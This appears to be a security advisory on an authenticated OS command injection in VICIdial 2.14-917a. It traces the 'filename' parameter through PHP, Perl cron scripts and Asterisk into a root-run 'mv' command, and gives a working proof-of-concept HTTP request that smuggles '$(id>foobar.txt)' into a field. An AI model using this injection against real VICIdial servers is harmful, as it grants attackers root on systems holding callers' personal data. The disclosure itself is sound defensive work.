Vulnerability Details Affected Vendor: VICIdial Affected Product: VICIdial Affected Version: 2.14-917a Platform: GNU/Linux CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') CVE ID: CVE-2024-85042. Vulnerability Description An attacker with authenticated access to VICIdial as an "agent" can execute arbitrary shell commands as the "root" user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective.3. Technical Description VICIdial is an open-source contact center suite, mainly used by call centers. The "vicidial.com" website boasts over 14,000 registered installations. There is a public SVN repository to access the source code, as well as an ISO that can be used to install the software. The ISO was used in a virtual machine for testing purposes. Users can be added to specific "groups" that enable them to log into the "agent" web client if that group is associated with a "campaign". This web client is for agents to manage inbound and outbound phone calls, displaying pertinent information regarding the "lead", such as the personal information of the individual on the other end of the call. An agent has the ability to record the phone call using the "START RECORDING" button. When clicked, an HTTP request is sent to the server which is processed by the "manager_send.php" PHP script. The "filename" parameter included in the request is sanitized with the "preg_replace" PHP function to prevent SQL injection, as shown by this snippet: if (isset($_GET["filename"])) {$filename=$_GET["filename"];} elseif (isset($_POST["filename"])) {$filename=$_POST["filename"];} ... $filename = preg_replace("/\'|\"|\\\\|;/","",$filename); The regular expression used to sanitize this parameter is very permissive, only removing single quotes, double quotes, backslashes, and semicolons. Later in the execution of "manager_send.php", the "filename" variable is added to a SQL database through an "INSERT" statement, along with other user-controlled variables such as "exten": $stmt="INSERT INTO vicidial_manager values('','','$NOW_TIME', 'NEW','N','$server_ip','','Originate','$vmgr_callerid', 'Channel: $channel','Context: $ext_context', 'Exten: $exten','Priority: $ext_priority', 'Callerid: $filename','','','','','');"; if ($format=='debug') {echo "\n<!-- $stmt -->";} $rslt=mysql_to_mysqli($stmt, $link); On the server-side, an asyncronous cron job is executing the perl script "ADMIN_keepalive_ALL.pl": vicibox11:/ # crontab -l | grep keepalive ### keepalive script for astguiclient processes * * * * * /usr/share/astguiclient/ADMIN_keepalive_ALL.pl This perl script ensures several worker perl scripts are running. Included in these worker perl scripts is "AST_manager_send.pl", as shown by this snippet from "ADMIN_keepalive_ALL.pl": if ($psline[1] =~ /AST_manager_se/) { $runningAST_send++; if ($DB) {print "AST_send RUNNING: |$psline[1]|\n";} } ... if ( ($AST_send_listen > 0) && ($runningAST_send < 1) ) { if ($DB) {print "starting AST_manager_send...\n";} # add a '-L' to the command below to activate logging `/usr/bin/screen -d -m -S ASTsend $PATHhome/AST_manager_send.pl $debug_string`; The "AST_manager_send.pl" script will continuously monitor the "vicidial_manager" table in the SQL database for records with the "status" column equal the string "NEW". Values from that row are then URL-encoded and used as command-line arguments to invoke the "AST_send_action_child.pl" perl script: while ($endless_loop > 0) { my $stmtA = "SELECT count(*) from vicidial_manager where server_ip = '" . $conf{VARserver_ip} . "' and status = 'NEW';"; ... $originate_command .= $vdm->{cmd_line_e} . "\n" if ($vdm->{cmd_line_e}); $originate_command .= $vdm->{cmd_line_f} . "\n" if ($vdm->{cmd_line_f}); $originate_command .= $vdm->{cmd_line_g} . "\n" if ($vdm->{cmd_line_g}); ... $vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; ... $launch .= " --cmd_line_e=" . $vdm->{cmd_line_e} if ($vdm->{cmd_line_e}); $launch .= " --cmd_line_f=" . $vdm->{cmd_line_f} if ($vdm->{cmd_line_f}); $launch .= " --cmd_line_g=" . $vdm->{cmd_line_g} if ($vdm->{cmd_line_g}); ... $launch .= " >> " . $conf{PATHlogs} . "/action_send." . logDate() if ($SYSLOG); system($launch . ' &'); The "AST_send_action_child.pl" will then initiate a telnet connection to the "Asterisk Call Manager" and issue various commands as they appear in the command-line arguments: my $tn = new Net::Telnet (Port => $telnet_port, Prompt => '/\r\n/', Output_record_separator => '', Errmode => "return"); ... $tn->open("$telnet_host"); $tn->waitfor('/Asterisk Call Manager\//'); ... $originate_command .= $cmd_line_e . "\n" if ($cmd_line_e); $originate_command .= $cmd_line_f . "\n" if ($cmd_line_f); $originate_command .= $cmd_line_g . "\n" if ($cmd_line_g); ... my @list_channels = $tn->cmd(String => $originate_command, Prompt => '/.*/'); These commands are then processed by the Asterisk Management interface (AMI). The configuration file "extensions-vicidial.conf" contains useful information on how AMI processes the value of the user-controlled "Exten" command. The following is a relevant snippet: exten => 8309,1,Answer exten => 8309,2,Monitor(wav,${CALLERID(name)}) exten => 8309,3,Wait(3600) exten => 8309,4,Hangup() ... When supplying an "Exten" value of "8309", the "Monitor" application is invoked, which will record the current call and write the recorded data into a file. The default directory is "/var/spool/asterisk/monitor". In this case, the name of the file is derived from the "CALLERID", which is also user-controlled. This can be leveraged by an attacker to write file names that contain malicious shell commands. Take for example the following HTTP request: POST /agc/manager_send.php HTTP/1.1 Host: REDACTED Content-Length: 279 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi= Two files are created within the "/var/spool/asterisk/monitor" directory: vicibox11:/ # ls -l /var/spool/asterisk/monitor total 216 -rw-r--r-- 1 root root 213164 May 30 05:30 \ 3133731337$(id>foobar.txt)-in.wav -rw-r--r-- 1 root root 44 May 30 05:30 \ 3133731337$(id>foobar.txt)-out.wav Additionally, the "AST_CRON_audio_1_move_VDonly.pl" perl script is executed every 3 minutes: vicibox11:/ # crontab -l | grep VDonly 0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * * \ /usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl This script searches for WAV/GSM files within the Asterisk monitor directory and uses the file names to execute several shell commands: foreach(@FILES) { ... $INfile = $FILES[$i]; ... if (!$T) { `mv -f "$dir1/$INfile" "$dir2/$ALLfile"`; `rm -f "$dir1/$OUTfile"`; } The malicious file name is then inserted into the "mv" command. The attacker controlled "id" command is executed and the output is redirected to the file "foo.txt": vicibox11:/ # ls -l /root/foobar.txt -rw-r--r-- 1 root root 39 May 30 05:33 /root/foobar.txt4.
